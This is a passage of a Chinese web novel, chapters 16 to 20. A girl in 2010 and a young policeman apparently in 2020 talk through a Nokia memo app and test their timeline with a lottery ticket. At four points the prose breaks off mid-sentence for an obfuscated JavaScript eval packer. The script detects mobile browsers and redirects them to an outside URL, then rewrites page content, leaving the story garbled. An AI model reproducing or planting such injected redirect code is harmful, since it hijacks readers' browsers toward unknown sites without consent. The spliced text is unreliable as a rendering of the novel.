林语禾摸出了她的诺基亚,身后传来老舒的脚步声,她心里一紧正要收回去,就听见老舒轻咳了两声:“低调点。” 竟然睁一只眼闭一只眼,轻轻放过了。 林语禾犹豫了一下,最终还是没抵抗住手机的诱惑,用袖子挡着点亮了屏幕,却不是打开熊猫爬树的游戏界面,像往常一样用它来打发时间,而是点开了备忘录。 从她出院那天开始,就坚持不懈地在那条神秘的备忘录里写着内容,但无论她说什么,备忘录里都没有再出现陌生的留言内容。 她一度以为之前的事情是自己的一场幻觉,可前面的记录又清清楚楚地记录下了她曾经和那个神秘来客的短暂交集。 林语禾百无聊赖地翻看着页面,在长达好几天的失联以后,她已经不剩什么希望了,只是本能地想要看一眼。 可下一秒,她却愣住了。 一直只有她孤零零自言自语的备忘录中,出现了一条陌生的留言。 【今天是哪年几月几日,礼拜几?】 林语禾有些茫然,但还是迅速地回复了过去。 【2010年9月21日周二】 后面的问题却越发奇怪。 【宣城六中在城北区还是沿江新区?】 【沿江新区是什么地方?六中在越杭区呀……】 【高一年级主任姓什么?】 【舒】 …… 【你是林语禾?】 【嗯】 屏幕另一头,舒任看着最后一行字,长长地呼出一口气,熄掉屏幕,手背搭在眼睛上,隔开了头顶的灯光。 他特意把那个老掉牙的诺基亚5220XM交给之前给他修手机的那个老板,让对方帮忙排查手机里是不是有什么木马病毒。 结果什么也没有,除了年久老化似乎影响了它的通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356851|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讯版块,没办法发短信、打电话以外,其余功能完好,手机也没有被侵入的痕迹。 他还抱有一丝侥幸,再次用备忘录联络上了这个自称“林语禾”的人,问了对方好几个问题,而最终得出的结论是,对方的确没有说谎。 只要有网络,可以轻而易举地查到2010年的日历,但网络上却不会记载宣城六中在2010年在什么区——越杭在两年后的2012年会与江淮区合并为城北区,网络更不可能记载一个小小的高一年级主任姓氏是什么。 ……除非对方就是2010年的林语禾,对身处那个时空的她来说,这不是过去,不是历史,而是正在亲身经历的,理所当然的日常。 舒任摁亮屏幕,似乎是他突然回复,又突然消失不见,对方有些忐忑不安地留下一句【你还在吗】,光标慢吞吞地闪动着,隔着屏幕,似乎也能窥见少女的小心翼翼。 他想了想,修长手指在键盘上噼里啪啦地输入了自己的结论。 对面很快回复。 【你的意思是,你那边现在是2020??不是2010??】 【嗯】 【那你可以告诉我,你叫什么名字吗?】 【舒任。】 【也是学生吗?】 【刚刚毕业】 【哇,是什么学校?】 【省城警察学院】 【阿sir!不对,警花姐姐?】 【……男的】 一个问,一个答,备忘录另一头的少女似乎对他十分好奇,像是只刚看见新玩具的猫,将玩具充满兴趣地拨来拨去。 【只有你一个人拥有两份记忆,一个是礼堂坍塌中我死掉了,一个我活下来了?】 【嗯】 【因为你提醒了我,所以现实被我们改变了?】 【嗯】 【听起来像是科幻小说】 【的确】 叫舒任的这个人话并不多,透过文字,似乎能想象出屏幕那头有人穿着制服正襟危坐的样子。 两人又说了几句,舒任说要去忙了,林语禾才恋恋不舍地放下了手机。 再次联络上救命恩人的雀跃之情淡了下来,她心里慢慢涌起了一种奇妙的感觉。 舒任说,除了他,没有任何人还记得原本应该发生的礼堂坍塌特大事故,就好像记忆被凭空抹去又重新写入了新的内容,只有他还记得。 当然,还有林语禾这个亲历者。 这听上去就像是科幻电影里的桥段,但实实在在发生在了自己身上,又由不得人不信。 午休结束的铃声响起,前排的许归苑睡眼惺忪地爬起来,伸了个大大的懒腰。 转过头来正好看见后座的林语禾正看着自己怔怔出神,她伸出手在对方面前晃了好几次都没反应。 “小禾~” “小——禾——” “林语禾同学!” 林语禾这才回过神来:“啊……什么?” 许归苑鼓起腮帮子:“给你吃牛肉干~” “好,谢谢。” 林语禾接过包装袋里的牛肉干,五香的卤料融进牛肉的肌肉纤维里,咀嚼起来又香又劲道。 她心里仍有疑虑。 作为一个“过去”的人,竟然能和来自十年后的“未来人”对话,这种奇幻的事情真的会发生吗? 17. 第 17 章 “这么奇幻的事情,真的会发生吗?未卜先知?” 周四中午,林语禾又被许归苑和莫雨娜拉着来了这家面馆,比起上次来的时候,今天明显生意更好了,老板笑呵呵的,里里外外忙个不停。 她这次没点招牌的鳝鱼面,而是尝试了一下她家的大排面,比巴掌还宽,足足有一个指节那么厚的大肉用卤料调制过,葱花蒜末堆叠在面条上用热油一浇,香味激得人口舌生津。 9·17礼堂坍塌事故,官方给出的调查结果是礼堂存在时间太久,建筑材料老化腐蚀,而承包负责维护修缮的公司又偷工减料,最终差点酿成惨剧。 维保公司的老板还恰巧就是跑跑主任家的表亲,之所以会引入这个公司,就是跑跑主任从中牵线,于是这波调查下来,跑跑主任也不用在家呆了,直接进局子里,和其他渎职被调查的学校领导、相关负责人一起吃牢饭去了。 所有人好奇的就一点:林语禾为什么能提前发现礼堂的可疑之处,并且向其他人发出预警? 无论谁问,当事人的答案都是同一句话:正好发现了不对劲的地方,当时她曾经找上过的那个老师也说她曾经和自己提及过这一点。 许归苑吸溜了一口面条,显然还是对当初礼堂里发生的事情充满了好奇:“真靠眼睛就能看出来会塌吗?” “就是说啊,小说里都不敢……”莫雨娜也说道,随即摇了摇头,“不对,小说里还是比这个夸张多了。” “你说的那是侦探小说。”许归苑吐槽,“现在说的是现实世界啊。” 她搅了搅可乐的吸管,玻璃瓶里头咕噜噜地冒出了气泡:“怎么我就看不出来呢。” “谁让你不好好学物理。”莫雨娜努了努嘴巴,“你让林老师教教你,物理老师再也不怕你只考30分了——关键时刻还能保命!” “啊啊啊就一次30分,臭雨娜不要说啊啊!!” 两人发起了挠痒痒肉大战,林语禾撑着下巴坐在一边看着,忽然开口道:“其实……我不是自己发现的。” “诶?” “啊?” 两人停住了手上的动作,转头看向了林语禾的方向,她笑了笑:“有一个来自未来的人,是他告诉我的。” “……” “……” 许归苑和莫雨娜呆呆地看着她,两秒后,忽然爆发出了一阵大笑。 “小禾,你刚刚是在一本正经地讲冷笑话吗!”许归苑笑得直戳莫雨娜胳膊,让对方给自己递纸巾擦眼泪,“太好笑了,哈哈哈哈!” 莫雨娜也笑得不行,她轻咳两声,模仿林语禾刚刚的神情:“林语禾同学,我们要坚持辩证唯物主义,相信这个世界是唯物的,科学的——哎哟我编不下去了。” 看着两人捧腹大笑的模样,林语禾也动摇了,她无奈地笑了起来,看向了窗外的车水马龙。 是啊,这是个唯物的世界,车在马路上跑,而不会是在天上飞,她的生活不是小说,也不是科幻电影。 舒任的确提醒了她,但他不一定真的像他自己说的那样,是来自十年后的未来……建筑大学所在的省城离宣城也就一个小时客车的距离,他也许是这个专业的学生? 甚至有可能舒任是这起事故的知情者,只是不想卷入其中,才会匿名向她预警。 “是吧,我也觉得太异想天开了。”林语禾笑着说道,“未来人什么的……怎么可能呢?” …… “等等,你重新说一下,你刚刚说什么来着?” 舒任耐着性子重复了一遍:“如果你能和十年前的你通话,你会说什么?” 他隐去了林语禾这个人的存在,电话那头的唐明想也不想就说:“彩票。” “你可真是个财迷。” “怎么就财迷了,合法合规地搞钱,谁不想,我就问谁不想——”唐明扯了两句,又轻咳两声,一本正经地说,“这是为了科学献身,你不要把人说得那么低俗嘛!” “彩票跟科学之间有什么关系?” “怎么没有关系?关系大了去了。”唐明信誓旦旦地说,“我就问你,你凭什么认定你通话的对象与你在同一个时间线上,并且身处十年前?” “两个人有同样的记忆。” “错!如果你们是平行宇宙的两个人,即使你问再多的问题对方都能答出来,那也不代表你们是同一条时间线,因为未来可能会不同。” “……所以要买彩票?” “没错,告诉十年前的你下一期彩票号码,让他去买,这是测试两个人是否处于同一时间线上的最有效的办法。” 唐明语气里有几分沾沾自喜。 “时间线是固定的,对于十年前的你而言,他要确定你是不是来自未来,唯一的办法就是确认你能不能知道对于他而言,未来会发生什么。” “而对于十年后的你而言,确认对方是不是十年前的人,唯一的办法就是看他是否中了这张彩票。” “为什么是彩票?答案很简单,因为彩票的中奖号码是客观存在的,无论是现在的你,还是十年前的你,都不可能篡改这个事实,你现在所知道的那串号码理论上是不可撼动的。” 唐明洋洋洒洒地解释完这个测试的实验原理,哪怕隔着电话对方并不能看到,他还是潇洒地捋了一把逐渐稀疏的头发:“怎么样,这个测试是不是很厉害?” 电话那头,舒任沉默了一下:“……如果,我已经测试过了呢?” “哈?”唐明一头雾水,“测试过了,不是,你上哪儿测试的?” 舒任想到了那场改变林语禾生死的坍塌事故,本质上和彩票实验是相同的原理:“我说的是如果,如果……我已经测试过了呢?” 电话那头沉吟许久。 “那我会再测试一次,因为孤例不证——无法复现结果的实验,是会被审稿人diss的!” …… 【今天双色球开奖,晚上8点下注截止】 “怎么今天突然想起来要出门散步?” “……这不是之前住过一次医院嘛,感觉自己身体素质还不够好,想稍微运动运动。” 暖黄色的街灯下,林语禾正挽着母亲常美琴的手臂,母女俩漫步在夜色刚刚升起的街头,公园里的老头老太太正打着太极,有老年合唱团自己带了麦克风和音箱,在八角亭里含情脉脉地对唱。 林语禾回答着母亲的问题,眼睛四处寻找。 彩票,彩票,哪里有彩票站? 常美琴浑然不知女儿还抱着别的念头,听到这番话有些欣慰:“之前也跟你说了好几次了,让你没事儿就运动运动,你们高中课业那么忙,要是还不锻炼一下,等会还没坚持到高考,腰就落下病了,以后老了要受大罪。” “正好你林叔叔朋友送了几张游泳券,我和你叔叔都不爱游泳,干脆国庆节你带朋友去玩,把这个券用掉。” “嗯,我知道啦妈~”林语禾点点头,亲昵地蹭了蹭母亲的肩膀,“妈对我最好了!” “就知道嘴巴甜。”常美琴嘴巴上嫌弃,嘴角却不自觉地勾了起来,拍了拍女儿的手,“有没有什么想吃的?烧烤?炸串?今天准你吃一回。” “晚上吃得就挺饱的,好像也吃不下什么了……”林语禾目光瞥见不远处的红亭子,装作不经意地指了指,“妈,咱们要不买张彩票呗?” “买彩票?” “就当是散财积福了。”林语禾赶紧搬出之前想好的理由,“你看之前礼堂那事儿那么严重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356852|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你女儿我还安然无恙,什么事儿都没有,我听说这种时候就得想办法把运气给填回去,不然下次就没这么好运气了。” “是吗,还有这说法呀?”常美琴半信半疑,但并没有犹豫多久,就拍板带着女儿往彩票站里走,“也就几块钱,就当买个心安。” 看吧,果然是她妈。 林语禾偷笑,她还是很了解自家亲妈的,作为一个“按需迷信”的家长,就吃这一套。 母女俩很快就到了彩票站,哪怕晚上天气也有些热,但并不影响穿着背心的壮汉和老头们津津有味地翘着二郎腿在里头下注。 抢在常女士后悔之前,林语禾连忙叫住了老板:“来一张双色球!” 老板瞅了她背后的常女士一眼,开了金口:“自选还是随机?” “自选!” 这才是林语禾要拉着她妈出门的原因,她一个未成年,压根就买不了彩票。 到了这个时候,她手心就开始不断地渗出了汗水,说是自选,但其实每个号码都是舒任提前在备忘录发给她的,她要做的就是一个都不能错。 【中奖号码:04,07,08,13,17,19,10】 这家彩票站的方法还很传统,林语禾把数字写在纸上,老板接过去用彩票纸打印出来,付款两元,这就算是买好了。 反复核对号码没有问题,林语禾这才小跑着出了站点,迎向门外等候的常美琴。 “好了!” “就一注?怎么不多买点,也不贵,我看人家都是买十块钱的,有五注呢。” “嘿嘿,图个心安嘛~”林语禾心虚地笑了笑,其实是她和舒任的实验只需要这一注,常女士拿过彩票纸看了一眼,“怎么选的这些数字?也不是你的生日吧?” “我随便选的啦!”事情办完,林语禾也不想在外面多呆,她挽上母亲胳膊,“走走走,咱们回家去,说不准等会开奖就中了呢?” “你这孩子,刚刚还说是还运的,这会儿又惦记起中奖来了。” 常美琴哭笑不得,还是由着女儿回了家,给她削好苹果块出来,林语禾已经拉着林勇坐在了客厅的沙发上,一大一小面前的茶几上放着新鲜出炉的彩票单。 电视机开着,已经转到了开奖频道,不过这会儿屏幕上还是各种各样的广告,公布开奖号码要到晚上九点半。 “老林,你怎么回事,孩子闹腾,你也跟着闹腾。”常女士没好气地说道,“就一注彩票,还能中不成?” “哎呀,反正这会儿也没什么事做,陪小禾看开奖就当打发时间了。”林勇乐呵呵的,这可是他和老婆结婚以来,女儿第一次主动提出要和他一起看电视,别说是看开奖了,就是看电视广告他也乐意,“反正九点半就开始了,看完正好熄灯睡觉。” 常美琴也就是嘴上说得凶,看着女儿可怜巴巴的样子,她第一个就心软了,一屁股坐在丈夫旁边:“下不为例。” 夫妻俩紧跟着就闲聊起来,内心他们并不觉得这次开奖会和他们有什么关系,只是女儿想这么做,他们就配合而已。 但林语禾的心态却没办法和他们一样放松,她坐得笔直,时不时就去厕所洗手,但手里还是汗津津的。 她在紧张。 这一期开奖号码对别人来说是未知,可对于她来说是已知。 更重要的是,这是一次实验。 通过实验结果,她就能知道,她和舒任到底是身处同一个时间线上的十年前与十年后,是身处两个平行时空……还是压根,这是一场闹剧。 就在这迥然不同的心情中,时间一晃就来到了九点半,画面中出现了福利彩票的频道标志,紧接着一男一女站到了巨大的圆筒前。 双色球,开奖! 18. 第 18 章 “第一个数字,好,我们可以看到双色球号码是04!” 林语禾看一眼彩票上,她勾选的第一个数字也是04。 “第二位,07!” 07。 “第三位,08!” 08。 “接下来是——13!” 林勇扫了一眼彩票纸,很是高兴:“美琴,咱们家小禾中奖了呀!” “啥奖?”常美琴看了一眼,“四个数字一样,这是……5块钱吧?五块钱挺好的,回了本还有多的呢。” 就在她说话这当口,电视荧幕上的主持人已经拿起了下一个双色球号码。 “17!” “……老林,你看看呢?” 林勇有些犹豫地拿起桌上的彩票纸:“小禾买的也是17。” 夫妻俩对视一眼,五个数字一致,这意味着林语禾随手写下的那串数字已经换回来了200元的奖金,而后面还有一个红球,一个蓝球。 全部对上号,这种疯狂的事情两口子可不敢妄想,就这两百块已经让他们感到很不可思议了,万一……万一有那么一点点可能,后面又中了蓝球的号码,那就是三等奖,足足3000块钱! 本来是要还运的,这怎么运气还越来越好了呢?! 常美琴这下可坐不住了,跟丈夫靠在一起,两人把彩票纸抓得紧紧的,生怕听漏了主持人的任何一句话。 她偷瞄了一眼旁边单人沙发上的女儿,林语禾呆坐在那,似乎也没想到自己的手气这么好,常美琴收回目光,肩膀绷得紧紧的,整个人都快要扑到荧幕上去。 最激动人心的时刻即将到来! “最后一个红色双色球号码是,18!” “哎哟!” “这个没对上。” 夫妻俩都有些懊恼,怎么偏偏就差了一位,出奖号码是18,林语禾选中的数字却是19,一数之差,到手的大奖就飞走了。 再往后头就是最后一位,蓝球的号码,但已经与这张彩票纸无关了,三等奖往上走,二等奖得红球数字全部一样,一等奖更是刁钻,得所有颜色所有数字都一致。 常美琴虽然有些扼腕,但转念一想,给林语禾买这张彩票就花了两块钱,而且一开始压根就不是冲着中奖去的。 现在不仅没亏,还赚回来了整整三千块钱,这可不是她和丈夫出去辛辛苦苦打工挣来的,而是女儿随手买的彩票,这是天降横财呀! 她越想越是心花怒放,差使丈夫赶紧下楼,去对面六中门口那家烧烤摊上烤点鸡腿苕皮之类的回来,一家人好好庆祝。 就连林勇小心翼翼申请能不能喝一杯,她也大手一挥:“仅限今天!” 转过头,女儿却还是怔怔地看着电视机,好像刚刚发生的一切都太过突然还没反应过来。 常美琴脸上止也止不住笑容,走过去揽住了林语禾的肩膀,语气雀跃不已:“明天就是周五了,想吃什么,妈妈给你做?或者要不咱们出去下馆子去,美蛙鱼头,火锅,还是炒菜,你想吃什么都行!” 林语禾抬起头,看着她妈笑颜如花的样子,声音有些艰涩地开口。 “……都行。” 这一晚,林语禾过得很恍惚。 后来林叔叔到底买了多少烤串回家,夫妻俩又是兴高采烈地讨论什么,林语禾都记不清了。 明明六中门口那家烧烤摊是她馋了好久的美食,平时常女士不肯松口,今天好不容易有机会,可今天吃在嘴巴里却没什么滋味。 借口说自己困了,林语禾早早地钻回了房间。 客厅的灯还亮着,常美琴和林勇两口子已经计划起来这笔飞来横财要怎么花,要给女儿买几身新衣服,还是攒着等寒假带她去心心念念的海边旅游。 暖色光线和絮絮的私语,从卧室门缝里悄悄地钻了进来,林语禾窝在被子里,诺基亚屏幕上正显示着舒任刚刚在备忘录里添加的留言。 他问她结果如何。 林语禾有些苦恼,不知道要怎么回答,踌躇许久,她还是决定直截了当地告诉对方。 【开奖了,但是结果和你告诉我的不一样,红球最后一位是18】 对面迅速地发来了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356853|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个【?】,显然舒任也没料到会出现这种情况,小小的屏幕上光标闪啊闪,像是林语禾动荡不安的内心。 她翻到上面的聊天记录,看向了舒任发的那段关于时间线的聊天记录。 如果他们在同一条时间线上,如果舒任真的是2020年的人,那这个实验不应该失败,唯一的解释是……他们并不是同一个时空的人。 林语禾说不出自己心里是什么感觉,她翻了个身侧躺在床上,透过床头的那扇窗户,能望见天上墨蓝色的星空。 这几年宣城发展日新月异,越来越多的高楼和商业街把夜色都遮蔽得严严实实,再也不能像从前那样看到满天繁星了。 她静静地注视着夜空中偶尔闪烁的不知名星辰,忽然想起某次上课之余,物理老师闲聊过的一段话。 “物理是很冷酷的。就像是坐标系上的两个点,如果时间、空间,任何一个维度不同,都会导致这两个点无论多么靠近,都不可能同步。” “即使这两个点延伸出去一条无穷大的线,这两条线也永远不会存在交集。” “这是物理的必然。” 那时候林语禾听得似懂非懂,她隐约能感知到这段话背后所代表的含义,却不能理解老师为什么会感叹物理是冷酷的。 直到这一刻,她忽然有些明白了,舒任和她之间相隔的距离,不是星星与星星,地球与月亮,而是更远的,她穷极一生也无法跨越的距离。 ——对一个十六岁的少女而言,“穷极一生”已经是她能想到的最遥远的词汇,可连这四个字在宇宙在物理面前,也显得渺小、苍白而无力。 就像是一艘漂泊在海面上的小船,好不容易看见了其他船只的影子,可拼命划桨靠近一看,那并不是同伴,而是海市蜃楼的幻影,林语禾感觉心里空空落落的,沮丧得打不起精神来。 舒任这会儿又在想什么呢,是和她一样感到沮丧,还是毫不在意? 林语禾从床头捞起手机,点亮了屏幕,画面中的留言却让她睁大了双眼。 【等等。】 【实验可能没有失败。】 19. 第 19 章 舒任放下诺基亚手机,面前的笔记本电脑正开着机,闪着幽幽的荧光,搜索引擎上显示着“2010年9月23日双色球开奖结果”。 他的视线落在了倒数第二个数字上。 【中奖号码:04,07,08,13,17,18,10】 就在他刚刚搜索出这个结果的时候,出现了和之前礼堂新闻时一模一样的情况——那一位数字在他眼皮子下面变成了乱码,最终变为了现在这个数字,18。 同一瞬间,所有的搜索结果、网页新闻中,倒数第二位的19全部变为了18,他脑海中的“开奖结果”,也同步地变为了18。 就像是被强制加载了某种更新系统,但旧系统的备份仍然存在一样,舒任的脑海中第二次出现了两份记忆同时并存的情况。 ——过去,再次发生了改变。 他沉默了一会儿,摸出自己的手机,找到微信通讯录里那个熟悉的大橘猫头像,发起语音通话。 “叮叮~主人正在努力工作中~马上就来接电话哦~” 舒任:…… 看来唐明是已经被宅这个字腌入味了,也不知道他导师天天打电话听着这么个卖萌语音什么感受。 没过多久,对方接通了语音:“咋了,刚走就想你兄弟我了?” “滚蛋。”舒任毫不留情地表达了自己的嫌弃,“找你是正事。” “啥正事?” “上次你说的彩票……” “?” “我买完了。” “啊?”唐明乐了,“不是,你还真是未来人啊,行行行,那未来人大哥,测试结果怎么样?” 电话另一头,发小沉默了许久。 “没有成功……但是也不能说是失败了。” …… “所以你就为了这么件事,特地从金陵坐动车回了一趟宣城?” 宣城六中门口的烧烤摊上,舒任盯着唐明面前堆得满满当当的不锈钢盘子,和他已经隐隐有地中海趋势的脑瓜顶,感觉心情一言难尽。 唐明正和鸡腿搏斗,沿着骨头剪开用串固定住的鸡腿经过炭烤和抹料,保留住了鸡肉的柔嫩口感,却又多了几分烟熏的香气。 被发小质疑,他也毫不在意地大快朵颐:“你从前就不喜欢什么数理化,宁愿打八个小时的篮球也不愿意在物理卷子上多花一个小时,这一时半会的突然转性了,我能不好奇么,就你说的那个测试……” 舒任接过话头,重复了一遍在电话里说过的答案:“绝大部分的号码都是一致的,只有倒数第二位不同。” “就是这个。”唐明咂咂嘴,“你当时跟我说不算成功也不算失败那会儿,我真听懵了都,还能这么模棱两可的呢,现在我总算是搞明白了。” “什么?” “你再帮我加串烤苕皮我就告诉你。” 舒任死亡凝视着一脸嬉笑的唐明,还是摇摇头起身去帮这个麻烦的朋友加菜,唐明还在身后叮嘱:“一定要里面加泡萝卜的,必须得要泡萝卜啊——” 舒任头都没回,穿过排队的重重人群走到摊位前去拿菜。 两个时间线的记忆在他脑海中交叠,这里对他而言,熟悉又陌生。 因为十年前的礼堂事故最终没有造成伤亡,尽管有不少相关人员因此过上了踩缝纫机的生活,但六中这个学校本身没有受到太大冲击,反而因为那一届学生高考成绩优秀,成了重点示范高中。 宣城经过好几次发展和扩张,它依然牢牢地伫立在这里,如今俨然是本地生源最好、师资也最为丰厚的高中,并没有像另一条时间线上那样被赶到郊区去,而原本的六中校区则变成了私立学校。 记忆中门可罗雀的萧条长街也变了模样,六中被迫搬离的时间线上,这些店铺关的关,倒闭的倒闭,剩下的零星几家店面都是兼做街坊生意,即使如此也只能保证温饱。 所以面店的女老板才那样气愤不平。 可现在呢? 这条以前学生们光顾的街,在今天变成了天天都有人打卡的网红美食一条街,烧烤摊还好,对面那家面店生意更是好得不得了。 之前甚至到了下午五点开张,五点半之前不来排队,那就吃也吃不上的地步。 女老板雷厉风行地把旁边好几个店铺也一并收购了下来,这才堪堪能让更多人吃上了网红面条。 舒任的目光从面店上收回来,隔着玻璃,那一眼他看见了仍是中年的女老板。 只是和另一重回忆里眉间眼底都是郁气相比,对方现在满面红光,笑容止也止不住,任谁来看都知道是日子过得红红火火。 他在热闹的人群中穿行,像一只独自逆流而上的鱼。 没有人知道“另一条时间线”,也没有人知道“原本会发生什么”,只有他一个人知道这个秘密——林语禾是例外,可就连她,也只是从他口中听说过“未来会发生的事情”,对她而言那就是一场没有卷入的噩梦,而非现实。 而对于他,那就是亲身经历过的一切。 他亲眼见过写着林语禾名字的讣告,他冷眼旁观过施工队将“宣城六中”四个字拆成碎片,超越时间和空间,无论十年前还是十年后,都只有他一个人……是一切的亲历者。 每每想到这里,彻骨的孤独感都将他紧紧环绕,舒任只能宽慰自己并不是孤身一人,时光另一头还有林语禾,她会相信他的话,她和他还拥有共同的回忆。 但如今,他好像连这个战友也要失去了,彩票测试的结果如此诡异,有很大概率两人根本不在同一个时间线上。 困惑,茫然,怀疑……巨大的矛盾,让舒任内心一团乱麻。 …… 苕皮很快送上了桌,唐明钦点泡萝卜风味,刷上了厚厚的辣油,早已离开宣城多年的唐明吃得一个劲儿嘶哈吐气,灌下一瓶冰可乐,他抹了把嘴巴。 “这个彩票测试,不能说成功还是失败,客观地说,既是成功又是失败,现在就是薛定谔的猫,处于一个量子叠加态。” “……?” “我这么跟你说吧——你知不知道物理学上有个概念,叫观察者效应?” “观察者效应?” 唐明用筷子指了指不远处:“你看,那儿有只猫。” 舒任顺着他手指的方向看去,那是一只年纪不大的狸花猫,脖子上挂着项圈,正坐在一家便利店门口用爪子洗脸。 宣城最常见的看店猫,工作性质还是世袭制,恐怕它的父母中某一只就是在这儿上了一辈子班,如今年纪大了,就轮到它来继承。 小狸花并不怕人,哪怕人来人往的街头,它还是慢条斯理地梳理着自己的毛发,似乎舔顺那些毛毛比任何事情都重要。 忽然,它发现了这里有两个两足兽——人类,正在盯着自己看,小狸花歪了歪头,从地上站了起来伸了个长长的懒腰,随后迈着轻盈的猫步朝二人坐的小方桌走了过来。 它脚步轻俏,仿佛知道自己长得很可爱,用脸蛋不住地蹭着两人的裤腿,又拿尾巴去绕他们的膝盖,甚至还饶有兴趣地用爪子拨弄了一下舒任没扣上的外套拉链。 在意识到这两只人类似乎只是垂涎它的美貌,并不打算投喂它之后,小狸花昂了昂脑袋,又十分无聊地走开了。 “如果我们没有看它,它还会这样做吗?也许会,也许不会,它很有可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356854|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维持之前的动作,或者是回店里去。” “之所以它会走过来,就是因为我们对它进行了观察。” 舒任若有所思,这段话听上去有点绕,他脑海中似乎有什么一闪而过,但是那道灵光快得没能抓住。 他好像懂了,又好像没有。 唐明将发小脸上的表情收入眼底,他嚼了嚼,依依不舍地吞下最后一口苕皮,忽然伏低了身子,用手掩着脸凑到了舒任耳边,紧张兮兮。 “地中海在后面看你!” 地中海,宣城四中年级主任,除了头顶哪儿都不秃因此得名,为人铁手无情,酷爱整治纪律,四中最叛逆不服管教的学生在他手里头也得乖乖听话。 四中铁律,可以考试不及格,但不能惹变态主任,否则他对付你的手段比当年如来佛祖压制齐天大圣还要多一百倍。 听到这个名字,就像是扳机上膛一样,舒任本来放松的脊背瞬间挺直了,肩膀也跟着紧绷,就连手机也下意识地扣在了桌上。 然而回头一看,熙熙攘攘的人群中,没有任何一张面孔是他熟悉的,更不用说是唐明口中的地中海。 舒任向发小投去了死亡视线。 唐明啧啧两声:“没想到过了这么多年,地中海还是淫威犹在啊,我估计拿他来当咱们四中人的恐怖故事素材都够了。” 舒任:…… 他没好气地瞪了发小一眼,唐明收了笑容:“其实,你自己已经给出了例子。” “你并不知道有人在观察你的时候,你的一切行为都很放松自然,当你意识到有人在看你,你就会下意识改变你的动作。” “我们把这种现象叫做观察者效应。” “你也可以换一种说法,那就是——当你在凝视深渊的时候,深渊也在凝视你。” …… “当你在凝视深渊的时候……深渊也在凝视你?” 林语禾趴在床上,脑袋下面枕着枕头,这句话她并不陌生,甚至还记得作者是尼采,但这句话背后的哲学意味,对于一个普通高中生而言实在有点深奥。 大部分情况下,它只会在一个地方出现,那就是语文大作文里,和什么鲁迅啊什么黑格尔之类的,一起为凑不满字数的作文添砖加瓦。 当然,联系上舒任的上下文,这其中的意思还是很好理解的,尤其是舒任说的那两个例子。 林语禾从床头拿来小镜子,冲着镜子笑了笑,镜子里的她也笑了笑,随即镜子里的人注意到了自己的笑容,把嘴角往下撇了一点。 她小时候很爱笑,每次都会夸张得露出深深的梨涡,后来爸爸不在了,她就逼着自己再也不准像那样开怀地笑,每每露出这样的表情,她都会竭力压抑。 原来,这也是观察的结果……如果她没有看镜子里的自己,她的笑容还是和以前一模一样。 林语禾发了会呆,拿起手机噼里啪啦地打字。 【我明白了,可是这样的话,我们是不是就没办法做这个测试了呀?】 就像那张彩票一样,明明舒任告诉了她正确的号码,可最后结果还是出现了偏差。 可之前舒任说过,确定两个人是不是在同一条时间线上,彩票是最客观最不能撼动的测试依据,林语禾也不觉得那张彩票的结果自己有能力改变。 这是不是意味着,他们没办法确认对方到底是不是和自己身处同一条时间线上了呢? 她绞尽脑汁,苦思冥想,可无论怎么想,她都没有想出办法来,林语禾泄气地拿起手机,却发现舒任没有回复这条信息。 ……他是不是也和自己一样感到迷茫呢? 这一晚,林语禾久违地揣着茫然入睡。 20. 第 20 章 这个小插曲表面上并没有影响两人的心情。 两人仍旧是天南海北什么都聊,当然,所谓的聊,大多数情况下都是林语禾在单方面提问。 【当警察是不是跟电影里一样,叼着烟,眼睛一看就知道谁是凶手?】 【你工作都忙些什么呀,值班是要做什么?】 【你们会配枪吗?】 屏幕那头的小姑娘就像是只发现了新玩具的小猫,也不知道她哪儿蹦出来的那么多问题。 但大多数时候,是林语禾在分享她的日常。 练习册交上去才发现翻页之后竟然还有一道题做漏了。 和朋友一起去小卖部,发现之前最好吃那款小布丁竟然涨价了。 不想上体育课,在一边偷懒被老师当场抓获,被迫蛙跳了十个来回。 …… 舒任自己真像是变成了林语禾的树洞,生活中发生的大大小小细碎的琐事,也会兴致勃勃和他分享。 偶尔小姑娘也会有抱怨。 